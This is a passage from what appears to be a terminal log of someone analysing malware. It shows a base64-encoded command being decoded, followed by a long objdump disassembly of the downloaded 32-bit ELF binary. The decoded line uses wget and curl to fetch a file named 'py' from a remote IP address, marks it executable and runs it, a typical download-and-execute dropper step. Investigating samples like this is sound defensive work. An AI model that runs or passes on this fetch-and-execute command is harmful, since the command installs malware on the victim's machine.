804ed85: 02 00 add (%eax),%al
804ed87: 02 00 add (%eax),%al
804ed89: 02 00 add (%eax),%al
804ed8b: 02 00 add (%eax),%al
804ed8d: 02 00 add (%eax),%al
804ed8f: 02 00 add (%eax),%al
804ed91: 02 20 add (%eax),%ah
804ed93: 03 20 add (%eax),%esp
804ed95: 02 20 add (%eax),%ah
804ed97: 02 20 add (%eax),%ah
804ed99: 02 20 add (%eax),%ah
804ed9b: 02 00 add (%eax),%al
804ed9d: 02 00 add (%eax),%al
804ed9f: 02 00 add (%eax),%al
804eda1: 02 00 add (%eax),%al
804eda3: 02 00 add (%eax),%al
804eda5: 02 00 add (%eax),%al
804eda7: 02 00 add (%eax),%al
804eda9: 02 00 add (%eax),%al
804edab: 02 00 add (%eax),%al
804edad: 02 00 add (%eax),%al
804edaf: 02 00 add (%eax),%al
804edb1: 02 00 add (%eax),%al
804edb3: 02 00 add (%eax),%al
804edb5: 02 00 add (%eax),%al
804edb7: 02 00 add (%eax),%al
804edb9: 02 00 add (%eax),%al
804edbb: 02 00 add (%eax),%al
804edbd: 02 00 add (%eax),%al
804edbf: 02 60 01 add 0x1(%eax),%ah
804edc2: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804edc6: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804edca: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804edce: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804edd2: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804edd6: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804edda: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804edde: c0 04 d8 08 rolb $0x8,(%eax,%ebx,8)
804ede2: d8 08 fmuls (%eax)
804ede4: d8 08 fmuls (%eax)
804ede6: d8 08 fmuls (%eax)
804ede8: d8 08 fmuls (%eax)
804edea: d8 08 fmuls (%eax)
804edec: d8 08 fmuls (%eax)
804edee: d8 08 fmuls (%eax)
804edf0: d8 08 fmuls (%eax)
804edf2: d8 08 fmuls (%eax)
804edf4: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804edf8: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804edfc: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804ee00: c0 04 d5 08 d5 08 d5 rolb $0x8,-0x2af72af8(,%edx,8)
804ee07: 08
804ee08: d5 08 aad $0x8
804ee0a: d5 08 aad $0x8
804ee0c: d5 08 aad $0x8
804ee0e: c5 08 lds (%eax),%ecx
804ee10: c5 08 lds (%eax),%ecx
804ee12: c5 08 lds (%eax),%ecx
804ee14: c5 08 lds (%eax),%ecx
804ee16: c5 08 lds (%eax),%ecx
804ee18: c5 08 lds (%eax),%ecx
804ee1a: c5 08 lds (%eax),%ecx
804ee1c: c5 08 lds (%eax),%ecx
804ee1e: c5 08 lds (%eax),%ecx
804ee20: c5 08 lds (%eax),%ecx
804ee22: c5 08 lds (%eax),%ecx
804ee24: c5 08 lds (%eax),%ecx
804ee26: c5 08 lds (%eax),%ecx
804ee28: c5 08 lds (%eax),%ecx
804ee2a: c5 08 lds (%eax),%ecx
804ee2c: c5 08 lds (%eax),%ecx
804ee2e: c5 08 lds (%eax),%ecx
804ee30: c5 08 lds (%eax),%ecx
804ee32: c5 08 lds (%eax),%ecx
804ee34: c5 08 lds (%eax),%ecx
804ee36: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804ee3a: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804ee3e: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804ee42: d6 (bad)
804ee43: 08 d6 or %dl,%dh
804ee45: 08 d6 or %dl,%dh
804ee47: 08 d6 or %dl,%dh
804ee49: 08 d6 or %dl,%dh
804ee4b: 08 d6 or %dl,%dh
804ee4d: 08 c6 or %al,%dh
804ee4f: 08 c6 or %al,%dh
804ee51: 08 c6 or %al,%dh
804ee53: 08 c6 or %al,%dh
804ee55: 08 c6 or %al,%dh
804ee57: 08 c6 or %al,%dh
804ee59: 08 c6 or %al,%dh
804ee5b: 08 c6 or %al,%dh
804ee5d: 08 c6 or %al,%dh
804ee5f: 08 c6 or %al,%dh
804ee61: 08 c6 or %al,%dh
804ee63: 08 c6 or %al,%dh
804ee65: 08 c6 or %al,%dh
804ee67: 08 c6 or %al,%dh
804ee69: 08 c6 or %al,%dh
804ee6b: 08 c6 or %al,%dh
804ee6d: 08 c6 or %al,%dh
804ee6f: 08 c6 or %al,%dh
804ee71: 08 c6 or %al,%dh
804ee73: 08 c6 or %al,%dh
804ee75: 08 c0 or %al,%al
804ee77: 04 c0 add $0xc0,%al
804ee79: 04 c0 add $0xc0,%al
804ee7b: 04 c0 add $0xc0,%al
804ee7d: 04 00 add $0x0,%al
804ee7f: 02 00 add (%eax),%al
...
Disassembly of section .ctors:
0804f000 <.ctors>:
804f000: ff (bad)
804f001: ff (bad)
804f002: ff (bad)
804f003: ff 00 incl (%eax)
804f005: 00 00 add %al,(%eax)
...
Disassembly of section .dtors:
0804f008 <.dtors>:
804f008: ff (bad)
804f009: ff (bad)
804f00a: ff (bad)
804f00b: ff 00 incl (%eax)
804f00d: 00 00 add %al,(%eax)
...
Disassembly of section .data:
0804f020 <.data>:
804f020: 00 00 add %al,(%eax)
804f022: 00 00 add %al,(%eax)
804f024: 0c f0 or $0xf0,%al
804f026: 04 08 add $0x8,%al
804f028: ff (bad)
804f029: ff (bad)
804f02a: ff (bad)
804f02b: ff (bad)
804f02c: ff (bad)
804f02d: ff (bad)
804f02e: ff (bad)
804f02f: ff 20 jmp *(%eax)
804f031: be 04 08 af fb mov $0xfbaf0804,%esi
804f036: de de (bad)
...
804f044: 01 00 add %eax,(%eax)
...
804f05a: 00 00 add %al,(%eax)
804f05c: 01 00 add %eax,(%eax)
...
804f072: 00 00 add %al,(%eax)
804f074: 01 00 add %eax,(%eax)
...
804f07e: 00 00 add %al,(%eax)
804f080: 93 xchg %eax,%ebx
804f081: e8 04 08 80 ed call 0xf584f88a
804f086: 04 08 add $0x8,%al
Disassembly of section .bss:
0804f0a0 <.bss>:
...
scott@satellite:~> base64 -d
d2dldCBodHRwOi8vMTUyLjY3LjYzLjE1MC9weTsgY3VybCAtTyBodHRwOi8vMTUyLjY3LjYzLjE1MC9weTsgY2htb2QgNzc3IHB5OyAuL3B5IHJjZS54ODY=
wget http://152.67.63.150/py; curl -O http://152.67.63.150/py; chmod 777 py; ./py rce.x86
> objdump -D py
py: file format elf32-i386
# It is unclear what is actually in this thing, it is *not* a normal process.
> objdump -pD py
py: file format elf32-i386
Program Header:
LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
filesz 0x00003fe6 memsz 0x00003fe6 flags r-x
LOAD off 0x00000000 vaddr 0x0804c000 paddr 0x0804c000 align 2**12
filesz 0x00000000 memsz 0x000035c0 flags rw-
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
filesz 0x00000000 memsz 0x00000000 flags rw-
py: file format elf32-i386
Disassembly of section .init:
08048094 <.init>:
8048094: 55 push %ebp
8048095: 89 e5 mov %esp,%ebp
8048097: 53 push %ebx
8048098: e8 13 00 00 00 call 0x80480b0
804809d: 81 c3 77 6f 00 00 add $0x6f77,%ebx
80480a3: e8 68 00 00 00 call 0x8048110
80480a8: e8 83 67 00 00 call 0x804e830
80480ad: 5b pop %ebx
80480ae: 5d pop %ebp
80480af: c3 ret
Disassembly of section .text:
080480b0 <.text>:
80480b0: 8b 1c 24 mov (%esp),%ebx
80480b3: c3 ret
80480b4: 90 nop
80480b5: 90 nop
80480b6: 90 nop
80480b7: 90 nop
80480b8: 90 nop
80480b9: 90 nop
80480ba: 90 nop
80480bb: 90 nop
80480bc: 90 nop
80480bd: 90 nop
80480be: 90 nop
80480bf: 90 nop
80480c0: 55 push %ebp
80480c1: 89 e5 mov %esp,%ebp
80480c3: 83 ec 08 sub $0x8,%esp
80480c6: 80 3d a0 f0 04 08 00 cmpb $0x0,0x804f0a0
80480cd: 74 0c je 0x80480db
80480cf: eb 35 jmp 0x8048106
80480d1: 83 c0 04 add $0x4,%eax
80480d4: a3 24 f0 04 08 mov %eax,0x804f024
80480d9: ff d2 call *%edx
80480db: a1 24 f0 04 08 mov 0x804f024,%eax
80480e0: 8b 10 mov (%eax),%edx
80480e2: 85 d2 test %edx,%edx
80480e4: 75 eb jne 0x80480d1
80480e6: b8 00 00 00 00 mov $0x0,%eax
80480eb: 85 c0 test %eax,%eax
80480ed: 74 10 je 0x80480ff
80480ef: 83 ec 0c sub $0xc,%esp
80480f2: 68 80 ef 04 08 push $0x804ef80
80480f7: e8 04 7f fb f7 call 0x0
80480fc: 83 c4 10 add $0x10,%esp
80480ff: c6 05 a0 f0 04 08 01 movb $0x1,0x804f0a0
8048106: c9 leave
8048107: c3 ret
8048108: 90 nop
8048109: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
8048110: 55 push %ebp
8048111: b8 00 00 00 00 mov $0x0,%eax
8048116: 89 e5 mov %esp,%ebp
8048118: 83 ec 08 sub $0x8,%esp
804811b: e8 00 00 00 00 call 0x8048120
8048120: 5a pop %edx
8048121: 81 c2 f4 6e 00 00 add $0x6ef4,%edx
8048127: 85 c0 test %eax,%eax
8048129: 74 15 je 0x8048140
804812b: 52 push %edx
804812c: 6a 00 push $0x0
804812e: 68 a4 f0 04 08 push $0x804f0a4
8048133: 68 80 ef 04 08 push $0x804ef80
8048138: e8 c3 7e fb f7 call 0x0
804813d: 83 c4 10 add $0x10,%esp
8048140: a1 10 f0 04 08 mov 0x804f010,%eax
8048145: 85 c0 test %eax,%eax
8048147: 74 16 je 0x804815f
8048149: b8 00 00 00 00 mov $0x0,%eax
804814e: 85 c0 test %eax,%eax
8048150: 74 0d je 0x804815f
8048152: 83 ec 0c sub $0xc,%esp
8048155: 68 10 f0 04 08 push $0x804f010
804815a: ff d0 call *%eax
804815c: 83 c4 10 add $0x10,%esp
804815f: c9 leave
8048160: c3 ret
8048161: 90 nop
8048162: 90 nop
8048163: 90 nop
8048164: 31 ed xor %ebp,%ebp
8048166: 5e pop %esi
8048167: 89 e1 mov %esp,%ecx
8048169: 83 e4 f0 and $0xfffffff0,%esp
804816c: 50 push %eax
804816d: 54 push %esp
804816e: 52 push %edx
804816f: 68 56 e8 04 08 push $0x804e856
8048174: 68 94 80 04 08 push $0x8048094
8048179: 51 push %ecx
804817a: 56 push %esi
804817b: 68 50 ac 04 08 push $0x804ac50
8048180: e8 8c 5c 00 00 call 0x804de11
8048185: f4 hlt
8048186: 90 nop
8048187: 90 nop
8048188: 90 nop
8048189: 90 nop
804818a: 90 nop
804818b: 90 nop
804818c: 90 nop
804818d: 90 nop
804818e: 90 nop
804818f: 90 nop
8048190: 55 push %ebp
8048191: 89 e5 mov %esp,%ebp
8048193: 57 push %edi
8048194: 56 push %esi
8048195: 53 push %ebx
8048196: 83 ec 0c sub $0xc,%esp
8048199: 8a 5d 0c mov 0xc(%ebp),%bl
804819c: 0f b6 7d 10 movzbl 0x10(%ebp),%edi
80481a0: 0f b6 75 18 movzbl 0x18(%ebp),%esi
80481a4: e8 58 3f 00 00 call 0x804c101
80481a9: 83 f8 ff cmp $0xffffffff,%eax
80481ac: 74 04 je 0x80481b2
80481ae: 85 c0 test %eax,%eax
80481b0: 7e 0e jle 0x80481c0
80481b2: 8d 65 f4 lea -0xc(%ebp),%esp
80481b5: 5b pop %ebx
80481b6: 5e pop %esi
80481b7: 5f pop %edi
80481b8: 5d pop %ebp
80481b9: c3 ret
80481ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80481c0: e8 3c 3f 00 00 call 0x804c101
80481c5: 83 f8 ff cmp $0xffffffff,%eax
80481c8: 74 48 je 0x8048212
80481ca: 85 c0 test %eax,%eax
80481cc: 75 4e jne 0x804821c
80481ce: 83 ec 0c sub $0xc,%esp
80481d1: 8b 45 08 mov 0x8(%ebp),%eax
80481d4: 50 push %eax
80481d5: e8 b2 58 00 00 call 0x804da8c
80481da: e8 6e 3f 00 00 call 0x804c14d
80481df: 5e pop %esi
80481e0: 5f pop %edi
80481e1: 6a 09 push $0x9
80481e3: 50 push %eax
80481e4: e8 c9 3f 00 00 call 0x804c1b2
80481e9: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80481f0: e8 30 58 00 00 call 0x804da25
80481f5: 89 f0 mov %esi,%eax
80481f7: 8b 5d 1c mov 0x1c(%ebp),%ebx
80481fa: 25 ff 00 00 00 and $0xff,%eax
80481ff: 53 push %ebx
8048200: 50 push %eax
8048201: 89 f8 mov %edi,%eax
8048203: 8b 4d 14 mov 0x14(%ebp),%ecx
8048206: 25 ff 00 00 00 and $0xff,%eax
804820b: 51 push %ecx
804820c: 50 push %eax
804820d: ff 12 call *(%edx)
804820f: 83 c4 10 add $0x10,%esp
8048212: 83 ec 0c sub $0xc,%esp
8048215: 6a 00 push $0x0
8048217: e8 09 58 00 00 call 0x804da25
804821c: 31 c0 xor %eax,%eax
804821e: a0 bc f0 04 08 mov 0x804f0bc,%al
8048223: 89 45 f0 mov %eax,-0x10(%ebp)
8048226: 85 c0 test %eax,%eax
8048228: 7e e8 jle 0x8048212
804822a: 8b 0d c0 f0 04 08 mov 0x804f0c0,%ecx
8048230: 31 c0 xor %eax,%eax
8048232: 8b 11 mov (%ecx),%edx
8048234: 3a 5a 04 cmp 0x4(%edx),%bl
8048237: 75 0f jne 0x8048248
8048239: eb ba jmp 0x80481f5
804823b: 90 nop
804823c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8048240: 8b 14 81 mov (%ecx,%eax,4),%edx
8048243: 38 5a 04 cmp %bl,0x4(%edx)
8048246: 74 ad je 0x80481f5
8048248: 40 inc %eax
8048249: 3b 45 f0 cmp -0x10(%ebp),%eax
804824c: 75 f2 jne 0x8048240
804824e: eb c2 jmp 0x8048212
8048250: 55 push %ebp
8048251: 57 push %edi
8048252: 56 push %esi
8048253: 53 push %ebx
8048254: 83 ec 3c sub $0x3c,%esp
8048257: 8b 5c 24 54 mov 0x54(%esp),%ebx
804825b: 8b 74 24 50 mov 0x50(%esp),%esi
804825f: 83 fb 03 cmp $0x3,%ebx
8048262: 77 0c ja 0x8048270
8048264: 83 c4 3c add $0x3c,%esp
8048267: 5b pop %ebx
8048268: 5e pop %esi
8048269: 5f pop %edi
804826a: 5d pop %ebp
804826b: c3 ret
804826c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8048270: 8b 2e mov (%esi),%ebp
8048272: 66 c1 cd 08 ror $0x8,%bp
8048276: c1 cd 10 ror $0x10,%ebp
8048279: 66 c1 cd 08 ror $0x8,%bp
804827d: 83 fb 04 cmp $0x4,%ebx
8048280: 74 e2 je 0x8048264
8048282: 8a 46 04 mov 0x4(%esi),%al
8048285: 83 fb 05 cmp $0x5,%ebx
8048288: 88 44 24 17 mov %al,0x17(%esp)
804828c: 74 d6 je 0x8048264
804828e: 8a 46 05 mov 0x5(%esi),%al
8048291: 84 c0 test %al,%al
8048293: 74 cf je 0x8048264
8048295: 25 ff 00 00 00 and $0xff,%eax
804829a: 8d 53 fa lea -0x6(%ebx),%edx
804829d: 89 44 24 18 mov %eax,0x18(%esp)
80482a1: 89 54 24 30 mov %edx,0x30(%esp)
80482a5: 8d 04 80 lea (%eax,%eax,4),%eax
80482a8: 89 44 24 10 mov %eax,0x10(%esp)
80482ac: 39 c2 cmp %eax,%edx
80482ae: 72 b4 jb 0x8048264
80482b0: 50 push %eax
80482b1: 50 push %eax
80482b2: 6a 18 push $0x18
80482b4: 8d 7e 06 lea 0x6(%esi),%edi
80482b7: 8b 4c 24 24 mov 0x24(%esp),%ecx
80482bb: 51 push %ecx
80482bc: e8 23 4d 00 00 call 0x804cfe4
80482c1: 89 44 24 48 mov %eax,0x48(%esp)
80482c5: 83 c4 10 add $0x10,%esp
80482c8: 8b 54 24 18 mov 0x18(%esp),%edx
80482cc: 85 d2 test %edx,%edx
80482ce: 7e 3d jle 0x804830d
80482d0: 8b 54 24 10 mov 0x10(%esp),%edx
80482d4: 89 c1 mov %eax,%ecx
80482d6: 8d 74 16 06 lea 0x6(%esi,%edx,1),%esi
80482da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80482e0: 8b 17 mov (%edi),%edx
80482e2: 89 51 10 mov %edx,0x10(%ecx)
80482e5: 8a 47 04 mov 0x4(%edi),%al
80482e8: 83 c7 05 add $0x5,%edi
80482eb: 88 41 14 mov %al,0x14(%ecx)
80482ee: 66 c7 01 02 00 movw $0x2,(%ecx)
80482f3: 89 51 04 mov %edx,0x4(%ecx)
80482f6: 83 c1 18 add $0x18,%ecx
80482f9: 39 f7 cmp %esi,%edi
80482fb: 75 e3 jne 0x80482e0
80482fd: 8b 74 24 18 mov 0x18(%esp),%esi
8048301: 8d 04 b6 lea (%esi,%esi,4),%eax
8048304: 29 c3 sub %eax,%ebx
8048306: 83 eb 06 sub $0x6,%ebx
8048309: 89 5c 24 30 mov %ebx,0x30(%esp)
804830d: 8b 44 24 30 mov 0x30(%esp),%eax
8048311: c7 44 24 24 00 00 00 movl $0x0,0x24(%esp)
8048318: 00
8048319: 85 c0 test %eax,%eax
804831b: 74 47 je 0x8048364
804831d: 8a 07 mov (%edi),%al
804831f: 88 44 24 23 mov %al,0x23(%esp)
8048323: 84 c0 test %al,%al
8048325: 0f 85 a6 00 00 00 jne 0x80483d1
804832b: c7 44 24 2c 00 00 00 movl $0x0,0x2c(%esp)
8048332: 00
8048333: e8 7e 42 00 00 call 0x804c5b6
8048338: c7 00 00 00 00 00 movl $0x0,(%eax)
804833e: 53 push %ebx
804833f: 53 push %ebx
8048340: 8b 4c 24 2c mov 0x2c(%esp),%ecx
8048344: 51 push %ecx
8048345: 8b 54 24 38 mov 0x38(%esp),%edx
8048349: 52 push %edx
804834a: 8b 44 24 48 mov 0x48(%esp),%eax
804834e: 50 push %eax
804834f: 8b 44 24 2c mov 0x2c(%esp),%eax
8048353: 50 push %eax
8048354: 31 c0 xor %eax,%eax
8048356: 8a 44 24 2f mov 0x2f(%esp),%al
804835a: 50 push %eax
804835b: 55 push %ebp
804835c: e8 2f fe ff ff call 0x8048190
8048361: 83 c4 20 add $0x20,%esp
8048364: 8b 44 24 38 mov 0x38(%esp),%eax
8048368: 85 c0 test %eax,%eax
804836a: 74 10 je 0x804837c
804836c: 83 ec 0c sub $0xc,%esp
804836f: 8b 44 24 44 mov 0x44(%esp),%eax
8048373: 50 push %eax
8048374: e8 bc 52 00 00 call 0x804d635
8048379: 83 c4 10 add $0x10,%esp
804837c: 8b 44 24 24 mov 0x24(%esp),%eax
8048380: 85 c0 test %eax,%eax
8048382: 0f 84 dc fe ff ff je 0x8048264
8048388: 31 c0 xor %eax,%eax
804838a: 8a 44 24 23 mov 0x23(%esp),%al
804838e: 85 c0 test %eax,%eax
8048390: 7e 2b jle 0x80483bd
8048392: bb 01 00 00 00 mov $0x1,%ebx
8048397: 8d 70 01 lea 0x1(%eax),%esi
804839a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80483a0: 8b 54 24 24 mov 0x24(%esp),%edx
80483a4: 8b 44 da f8 mov -0x8(%edx,%ebx,8),%eax
80483a8: 85 c0 test %eax,%eax
80483aa: 74 0c je 0x80483b8
80483ac: 83 ec 0c sub $0xc,%esp
80483af: 50 push %eax
80483b0: e8 80 52 00 00 call 0x804d635
80483b5: 83 c4 10 add $0x10,%esp
80483b8: 43 inc %ebx
80483b9: 39 f3 cmp %esi,%ebx
80483bb: 75 e3 jne 0x80483a0
80483bd: 8b 5c 24 24 mov 0x24(%esp),%ebx
80483c1: 89 5c 24 50 mov %ebx,0x50(%esp)
80483c5: 83 c4 3c add $0x3c,%esp
80483c8: 5b pop %ebx
80483c9: 5e pop %esi
80483ca: 5f pop %edi
80483cb: 5d pop %ebp
80483cc: e9 64 52 00 00 jmp 0x804d635
80483d1: 31 d2 xor %edx,%edx
80483d3: 50 push %eax
80483d4: 50 push %eax
80483d5: 6a 08 push $0x8
80483d7: 8a 54 24 2f mov 0x2f(%esp),%dl
80483db: 89 54 24 18 mov %edx,0x18(%esp)
80483df: 52 push %edx
80483e0: e8 ff 4b 00 00 call 0x804cfe4
80483e5: 8b 5c 24 1c mov 0x1c(%esp),%ebx
80483e9: 89 44 24 34 mov %eax,0x34(%esp)
80483ed: 89 5c 24 3c mov %ebx,0x3c(%esp)
80483f1: 83 c4 10 add $0x10,%esp
80483f4: 85 db test %ebx,%ebx
80483f6: 0f 8e 37 ff ff ff jle 0x8048333
80483fc: 83 7c 24 30 01 cmpl $0x1,0x30(%esp)
8048401: 0f 84 5d ff ff ff je 0x8048364
8048407: 8b 74 24 24 mov 0x24(%esp),%esi
804840b: 8a 47 01 mov 0x1(%edi),%al
804840e: 88 46 04 mov %al,0x4(%esi)
8048411: 83 7c 24 30 02 cmpl $0x2,0x30(%esp)
8048416: 0f 84 48 ff ff ff je 0x8048364
804841c: 8a 47 02 mov 0x2(%edi),%al
804841f: 31 db xor %ebx,%ebx
8048421: 8b 74 24 30 mov 0x30(%esp),%esi
8048425: 88 c3 mov %al,%bl
8048427: 83 ee 03 sub $0x3,%esi
804842a: 88 44 24 2b mov %al,0x2b(%esp)
804842e: 39 de cmp %ebx,%esi
8048430: 0f 8c 2e ff ff ff jl 0x8048364
8048436: 8b 54 24 24 mov 0x24(%esp),%edx
804843a: 83 c7 03 add $0x3,%edi
804843d: 89 54 24 34 mov %edx,0x34(%esp)
8048441: c7 44 24 1c 00 00 00 movl $0x0,0x1c(%esp)
8048448: 00
8048449: eb 53 jmp 0x804849e
804844b: 90 nop
804844c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8048450: 89 f1 mov %esi,%ecx
8048452: 29 d9 sub %ebx,%ecx
8048454: 0f 84 0a ff ff ff je 0x8048364
804845a: 31 c0 xor %eax,%eax
804845c: 8b 5c 24 1c mov 0x1c(%esp),%ebx
8048460: 8a 44 24 2b mov 0x2b(%esp),%al
8048464: 8b 74 24 24 mov 0x24(%esp),%esi
8048468: 83 f9 01 cmp $0x1,%ecx
804846b: 8d 1c de lea (%esi,%ebx,8),%ebx
804846e: 8d 14 38 lea (%eax,%edi,1),%edx
8048471: 89 5c 24 34 mov %ebx,0x34(%esp)
8048475: 8b 5c 24 1c mov 0x1c(%esp),%ebx
8048479: 8a 02 mov (%edx),%al
804847b: 88 44 de 04 mov %al,0x4(%esi,%ebx,8)
804847f: 0f 84 df fe ff ff je 0x8048364
8048485: 8a 42 01 mov 0x1(%edx),%al
8048488: 31 db xor %ebx,%ebx
804848a: 8d 71 fe lea -0x2(%ecx),%esi
804848d: 88 c3 mov %al,%bl
804848f: 88 44 24 2b mov %al,0x2b(%esp)
8048493: 39 de cmp %ebx,%esi
8048495: 0f 8c c9 fe ff ff jl 0x8048364
804849b: 8d 7a 02 lea 0x2(%edx),%edi
804849e: 50 push %eax
804849f: 50 push %eax
80484a0: 8d 43 01 lea 0x1(%ebx),%eax
80484a3: 6a 01 push $0x1
80484a5: 50 push %eax
80484a6: e8 39 4b 00 00 call 0x804cfe4
80484ab: 8b 54 24 44 mov 0x44(%esp),%edx
80484af: 83 c4 0c add $0xc,%esp
80484b2: 89 02 mov %eax,(%edx)
80484b4: 53 push %ebx
80484b5: 57 push %edi
80484b6: 50 push %eax
80484b7: e8 a4 37 00 00 call 0x804bc60
80484bc: 8b 44 24 2c mov 0x2c(%esp),%eax
80484c0: 40 inc %eax
80484c1: 89 44 24 2c mov %eax,0x2c(%esp)
80484c5: 83 c4 10 add $0x10,%esp
80484c8: 8b 44 24 0c mov 0xc(%esp),%eax
80484cc: 39 44 24 1c cmp %eax,0x1c(%esp)
80484d0: 0f 85 7a ff ff ff jne 0x8048450
80484d6: e9 58 fe ff ff jmp 0x8048333
80484db: 90 nop
80484dc: 90 nop
80484dd: 90 nop
80484de: 90 nop
80484df: 90 nop
80484e0: 57 push %edi
80484e1: 56 push %esi
80484e2: 53 push %ebx
80484e3: 83 ec 04 sub $0x4,%esp
80484e6: 8a 54 24 14 mov 0x14(%esp),%dl
80484ea: 8b 5c 24 18 mov 0x18(%esp),%ebx
80484ee: 81 e2 ff 00 00 00 and $0xff,%edx
80484f4: 8b 7c 24 20 mov 0x20(%esp),%edi
80484f8: 8a 44 24 1c mov 0x1c(%esp),%al
80484fc: 89 d6 mov %edx,%esi
80484fe: 85 d2 test %edx,%edx
8048500: 74 23 je 0x8048525
8048502: 88 44 24 03 mov %al,0x3(%esp)
8048506: 3a 43 04 cmp 0x4(%ebx),%al
8048509: 74 21 je 0x804852c
804850b: 8d 53 08 lea 0x8(%ebx),%edx
804850e: 31 c9 xor %ecx,%ecx
8048510: eb 0e jmp 0x8048520
8048512: 8a 42 04 mov 0x4(%edx),%al
8048515: 89 d3 mov %edx,%ebx
8048517: 83 c2 08 add $0x8,%edx
804851a: 38 44 24 03 cmp %al,0x3(%esp)
804851e: 74 0c je 0x804852c
8048520: 41 inc %ecx
8048521: 39 ce cmp %ecx,%esi
8048523: 75 ed jne 0x8048512
8048525: 89 f8 mov %edi,%eax
8048527: 59 pop %ecx
8048528: 5b pop %ebx
8048529: 5e pop %esi
804852a: 5f pop %edi
804852b: c3 ret
804852c: 8b 03 mov (%ebx),%eax
804852e: 85 c0 test %eax,%eax
8048530: 74 f3 je 0x8048525
8048532: 89 44 24 14 mov %eax,0x14(%esp)
8048536: 5b pop %ebx
8048537: 5b pop %ebx
8048538: 5e pop %esi
8048539: 5f pop %edi
804853a: e9 f8 40 00 00 jmp 0x804c637
804853f: 90 nop
8048540: 57 push %edi
8048541: 56 push %esi
8048542: 53 push %ebx
8048543: 83 ec 04 sub $0x4,%esp
8048546: 8a 54 24 14 mov 0x14(%esp),%dl
804854a: 8b 5c 24 18 mov 0x18(%esp),%ebx
804854e: 81 e2 ff 00 00 00 and $0xff,%edx
8048554: 8b 7c 24 20 mov 0x20(%esp),%edi
8048558: 8a 44 24 1c mov 0x1c(%esp),%al
804855c: 89 d6 mov %edx,%esi
804855e: 85 d2 test %edx,%edx
8048560: 74 23 je 0x8048585
8048562: 88 44 24 03 mov %al,0x3(%esp)
8048566: 3a 43 04 cmp 0x4(%ebx),%al
8048569: 74 21 je 0x804858c
804856b: 8d 53 08 lea 0x8(%ebx),%edx
804856e: 31 c9 xor %ecx,%ecx
8048570: eb 0e jmp 0x8048580
8048572: 8a 42 04 mov 0x4(%edx),%al
8048575: 89 d3 mov %edx,%ebx
8048577: 83 c2 08 add $0x8,%edx
804857a: 38 44 24 03 cmp %al,0x3(%esp)
804857e: 74 0c je 0x804858c
8048580: 41 inc %ecx
8048581: 39 ce cmp %ecx,%esi
8048583: 75 ed jne 0x8048572
8048585: 89 f8 mov %edi,%eax
8048587: 5e pop %esi
8048588: 5b pop %ebx
8048589: 5e pop %esi
804858a: 5f pop %edi
804858b: c3 ret
804858c: 8b 03 mov (%ebx),%eax
804858e: 85 c0 test %eax,%eax
8048590: 74 f3 je 0x8048585
8048592: c7 44 24 18 0a 00 00 movl $0xa,0x18(%esp)
8048599: 00
804859a: 89 44 24 14 mov %eax,0x14(%esp)
804859e: 5f pop %edi
804859f: 5b pop %ebx
80485a0: 5e pop %esi
80485a1: 5f pop %edi
80485a2: e9 09 37 00 00 jmp 0x804bcb0
80485a7: 90 nop
80485a8: 90 nop
80485a9: 90 nop
80485aa: 90 nop
80485ab: 90 nop
80485ac: 90 nop
80485ad: 90 nop
80485ae: 90 nop
80485af: 90 nop
80485b0: 53 push %ebx
80485b1: 83 ec 10 sub $0x10,%esp
80485b4: 6a 08 push $0x8
80485b6: 6a 01 push $0x1
80485b8: e8 27 4a 00 00 call 0x804cfe4
80485bd: 89 c3 mov %eax,%ebx
80485bf: c6 40 04 01 movb $0x1,0x4(%eax)
80485c3: c7 00 40 87 04 08 movl $0x8048740,(%eax)
80485c9: 58 pop %eax
80485ca: 31 c0 xor %eax,%eax
80485cc: a0 bc f0 04 08 mov 0x804f0bc,%al
80485d1: 5a pop %edx
80485d2: 8d 04 85 04 00 00 00 lea 0x4(,%eax,4),%eax
80485d9: 50 push %eax
80485da: a1 c0 f0 04 08 mov 0x804f0c0,%eax
80485df: 50 push %eax
80485e0: e8 f3 4a 00 00 call 0x804d0d8
80485e5: 8a 15 bc f0 04 08 mov 0x804f0bc,%dl
80485eb: 31 c9 xor %ecx,%ecx
80485ed: 88 d1 mov %dl,%cl
80485ef: 42 inc %edx
80485f0: a3 c0 f0 04 08 mov %eax,0x804f0c0
80485f5: 89 1c 88 mov %ebx,(%eax,%ecx,4)
80485f8: 88 15 bc f0 04 08 mov %dl,0x804f0bc
80485fe: 59 pop %ecx
80485ff: 5b pop %ebx
8048600: 6a 08 push $0x8
8048602: 6a 01 push $0x1
8048604: e8 db 49 00 00 call 0x804cfe4
8048609: 89 c3 mov %eax,%ebx
804860b: c6 40 04 02 movb $0x2,0x4(%eax)
804860f: c7 00 f0 89 04 08 movl $0x80489f0,(%eax)
8048615: 58 pop %eax
8048616: 31 c0 xor %eax,%eax
8048618: a0 bc f0 04 08 mov 0x804f0bc,%al
804861d: 5a pop %edx
804861e: 8d 04 85 04 00 00 00 lea 0x4(,%eax,4),%eax
8048625: 50 push %eax
8048626: a1 c0 f0 04 08 mov 0x804f0c0,%eax
804862b: 50 push %eax
804862c: e8 a7 4a 00 00 call 0x804d0d8
8048631: 8a 15 bc f0 04 08 mov 0x804f0bc,%dl
8048637: 31 c9 xor %ecx,%ecx
8048639: 88 d1 mov %dl,%cl
804863b: 42 inc %edx
804863c: a3 c0 f0 04 08 mov %eax,0x804f0c0
8048641: 89 1c 88 mov %ebx,(%eax,%ecx,4)
